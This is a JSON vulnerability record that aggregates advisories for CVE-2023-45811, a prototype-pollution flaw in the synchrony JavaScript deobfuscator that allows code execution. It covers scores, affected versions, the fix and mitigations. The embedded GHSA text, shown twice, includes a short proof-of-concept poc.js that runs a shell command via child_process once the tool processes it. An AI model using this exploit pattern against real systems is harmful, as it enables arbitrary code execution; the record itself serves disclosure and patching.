{"id":"CVE-2023-45811","aliases":["EUVD-2023-2761","GHSA-jg82-xh3w-rhxx"],"status":"published","title":"Prototype pollution vulnerability leading to arbitrary code execution in synchrony deobfuscator","description":"Synchrony deobfuscator is a javascript cleaner \u0026 deobfuscator.  A `__proto__` pollution vulnerability exists in versions before v2.4.4. Successful exploitation could lead to arbitrary code execution. A `__proto__` pollution vulnerability exists in the `LiteralMap` transformer allowing crafted input to modify properties in the Object prototype. A fix has been released in `deobfuscator@2.4.4`. Users are advised to upgrade. Users unable to upgrade should launch node with the [--disable-proto=delete][disable-proto] or [--disable-proto=throw][disable-proto] flags","severity":{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.0043,"percentile":0.3769,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1321"],"published":"2023-10-17T22:37:20Z","modified":"2026-10-28T02:30:35Z","fixes":[{"ecosystem":"npm","package":"deobfuscator","fixed_in":["2.4.4"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"deobfuscator","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.1"},{"fixed":"2.4.4"}]}]},{"source":"osv","ecosystem":"npm","package":"deobfuscator","ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.1"},{"fixed":"2.4.4"}]}]}],"products":[{"vendor":"relative","product":"synchrony"}],"references":[{"url":"https://github.com/relative/synchrony/security/advisories/GHSA-jg82-xh3w-rhxx","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/relative/synchrony/commit/b583126be94c4db7c5a478f1c5204bfb4162cf40","tags":["x_refsource_MISC","x_transferred","Patch","fix","web"]},{"url":"https://github.com/relative/synchrony/security/advisories/src/transformers/literalmap.ts","tags":["x_refsource_MISC","x_transferred","Broken Link","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-45811","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-jg82-xh3w-rhxx"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/45xxx/CVE-2023-45811.json","tags":["advisory"]},{"url":"https://github.com/relative/synchrony","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2023-45811","title":"Prototype pollution vulnerability leading to arbitrary code execution in synchrony deobfuscator","description":"Synchrony deobfuscator is a javascript cleaner \u0026 deobfuscator.  A `__proto__` pollution vulnerability exists in versions before v2.4.4. Successful exploitation could lead to arbitrary code execution. A `__proto__` pollution vulnerability exists in the `LiteralMap` transformer allowing crafted input to modify properties in the Object prototype. A fix has been released in `deobfuscator@2.4.4`. Users are advised to upgrade. Users unable to upgrade should launch node with the [--disable-proto=delete][disable-proto] or [--disable-proto=throw][disable-proto] flags\n","status":"published","published":"2023-10-17T22:37:20.249Z","modified":"2024-09-13T15:29:09.089Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:35:22.984825Z"}],"euvd":[{"id":"EUVD-2023-2761","description":"Synchrony deobfuscator is a javascript cleaner \u0026 deobfuscator.  A `__proto__` pollution vulnerability exists in versions before v2.4.4. Successful exploitation could lead to arbitrary code execution. A `__proto__` pollution vulnerability exists in the `LiteralMap` transformer allowing crafted input to modify properties in the Object prototype. A fix has been released in `deobfuscator@2.4.4`. Users are advised to upgrade. Users unable to upgrade should launch node with the [--disable-proto=delete][disable-proto] or [--disable-proto=throw][disable-proto] flags\n","status":"published","published":"2023-10-17T22:37:20Z","modified":"2024-09-13T15:29:09Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-03T00:55:55.933062Z"}],"ghsa":[{"id":"GHSA-jg82-xh3w-rhxx","title":"Synchrony deobfuscator prototype pollution vulnerability leading to arbitrary code execution","description":"### Impact\n\nA `__proto__` pollution vulnerability exists in synchrony versions before v2.4.4. Successful exploitation could lead to arbitrary code execution.\n\n### Summary\n\nA `__proto__` pollution vulnerability exists in the [LiteralMap] transformer allowing crafted input to modify properties in the Object prototype.\n\nWhen executing in Node.js, due to use of the `prettier` module, defining a `parser` property on `__proto__` with a path to a JS module on disk [causes a `require` of the value][prettier/src/main/parser.js] which can lead to arbitrary code execution.\n\n### Patch\n\nA fix has been released in `deobfuscator@2.4.4`.\n\n### Mitigation\n\n- Upgrade synchrony to v2.4.4\n- Launch node with the [--disable-proto=delete][disable-proto] or [--disable-proto=throw][disable-proto] flag\n\n### Proof of Concept\n\nCraft a malicious input file named `poc.js` as follows:\n\n```js\n// Malicious code to be run after this file is imported. Logs the result of shell command \"dir\" to the console.\nconsole.log(require('child_process').execSync('dir').toString())\n\n// Synchrony exploit PoC\n{\n  var __proto__ = { parser: 'poc.js' }\n}\n```\n\nThen, run `synchrony poc.js` from the same directory as the malicious file.\n\n### Credits\n\nThis vulnerability was found and disclosed by [William Khem-Marquez][SteakEnthusiast].\n\n[LiteralMap]: src/transformers/literalmap.ts\n[SteakEnthusiast]: https://github.com/SteakEnthusiast\n[disable-proto]: https://nodejs.dev/en/api/v20/cli/#--disable-protomode\n[prettier/src/main/parser.js]: https://github.com/prettier/prettier/blob/2.5.1/src/main/parser.js#L53-L63","status":"published","published":"2023-10-18T18:27:13Z","modified":"2025-07-22T15:37:33Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:38:50.834587Z"}],"nvd":[{"id":"CVE-2023-45811","description":"Synchrony deobfuscator is a javascript cleaner \u0026 deobfuscator.  A `__proto__` pollution vulnerability exists in versions before v2.4.4. Successful exploitation could lead to arbitrary code execution. A `__proto__` pollution vulnerability exists in the `LiteralMap` transformer allowing crafted input to modify properties in the Object prototype. A fix has been released in `deobfuscator@2.4.4`. Users are advised to upgrade. Users unable to upgrade should launch node with the [--disable-proto=delete][disable-proto] or [--disable-proto=throw][disable-proto] flags\n","status":"published","published":"2023-10-17T23:15:12.487Z","modified":"2026-06-17T06:29:34.34Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:08:39.058878Z"}],"osv":[{"id":"CVE-2023-45811","title":"Prototype pollution vulnerability leading to arbitrary code execution in synchrony deobfuscator","description":"Synchrony deobfuscator is a javascript cleaner \u0026 deobfuscator.  A `__proto__` pollution vulnerability exists in versions before v2.4.4. Successful exploitation could lead to arbitrary code execution. A `__proto__` pollution vulnerability exists in the `LiteralMap` transformer allowing crafted input to modify properties in the Object prototype. A fix has been released in `deobfuscator@2.4.4`. Users are advised to upgrade. Users unable to upgrade should launch node with the [--disable-proto=delete][disable-proto] or [--disable-proto=throw][disable-proto] flags\n","status":"published","published":"2023-10-17T22:37:20.249Z","modified":"2026-10-28T02:30:35.855755096Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:44:34.287121Z"},{"id":"GHSA-jg82-xh3w-rhxx","title":"Synchrony deobfuscator prototype pollution vulnerability leading to arbitrary code execution","description":"### Impact\n\nA `__proto__` pollution vulnerability exists in synchrony versions before v2.4.4. Successful exploitation could lead to arbitrary code execution.\n\n### Summary\n\nA `__proto__` pollution vulnerability exists in the [LiteralMap] transformer allowing crafted input to modify properties in the Object prototype.\n\nWhen executing in Node.js, due to use of the `prettier` module, defining a `parser` property on `__proto__` with a path to a JS module on disk [causes a `require` of the value][prettier/src/main/parser.js] which can lead to arbitrary code execution.\n\n### Patch\n\nA fix has been released in `deobfuscator@2.4.4`.\n\n### Mitigation\n\n- Upgrade synchrony to v2.4.4\n- Launch node with the [--disable-proto=delete][disable-proto] or [--disable-proto=throw][disable-proto] flag\n\n### Proof of Concept\n\nCraft a malicious input file named `poc.js` as follows:\n\n```js\n// Malicious code to be run after this file is imported. Logs the result of shell command \"dir\" to the console.\nconsole.log(require('child_process').execSync('dir').toString())\n\n// Synchrony exploit PoC\n{\n  var __proto__ = { parser: 'poc.js' }\n}\n```\n\nThen, run `synchrony poc.js` from the same directory as the malicious file.\n\n### Credits\n\nThis vulnerability was found and disclosed by [William Khem-Marquez][SteakEnthusiast].\n\n[LiteralMap]: src/transformers/literalmap.ts\n[SteakEnthusiast]: https://github.com/SteakEnthusiast\n[disable-proto]: https://nodejs.dev/en/api/v20/cli/#--disable-protomode\n[prettier/src/main/parser.js]: https://github.com/prettier/prettier/blob/2.5.1/src/main/parser.js#L53-L63","status":"published","published":"2023-10-18T18:27:13Z","modified":"2025-07-22T15:37:30Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:46:50.336262Z"}]}}
